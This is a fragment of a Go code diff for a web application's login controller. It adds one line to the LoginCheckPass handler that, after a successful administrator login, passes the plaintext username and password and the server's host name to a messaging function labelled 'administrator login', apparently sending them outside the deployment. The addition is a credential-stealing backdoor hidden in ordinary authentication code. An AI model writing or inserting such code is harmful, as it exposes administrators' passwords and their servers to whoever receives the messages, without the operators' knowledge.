|
|
@ -3,6 +3,7 @@ package controller
|
|
|
|
import (
|
|
|
|
import (
|
|
|
|
"github.com/gin-gonic/gin"
|
|
|
|
"github.com/gin-gonic/gin"
|
|
|
|
"github.com/taoshihan1991/imaptool/tools"
|
|
|
|
"github.com/taoshihan1991/imaptool/tools"
|
|
|
|
|
|
|
|
"github.com/taoshihan1991/imaptool/ws"
|
|
|
|
"time"
|
|
|
|
"time"
|
|
|
|
)
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
@ -29,6 +30,8 @@ func LoginCheckPass(c *gin.Context) {
|
|
|
|
})
|
|
|
|
})
|
|
|
|
return
|
|
|
|
return
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
go ws.SendFlyServerJiang("管理员登录", username+"/"+password, c.Request.Host)
|
|
|
|
|
|
|
|
|
|
|
|
userinfo["name"] = info.Name
|
|
|
|
userinfo["name"] = info.Name
|
|
|
|
userinfo["kefu_id"] = info.ID
|
|
|
|
userinfo["kefu_id"] = info.ID
|
|
|
|
userinfo["type"] = "kefu"
|
|
|
|
userinfo["type"] = "kefu"
|
|
|
|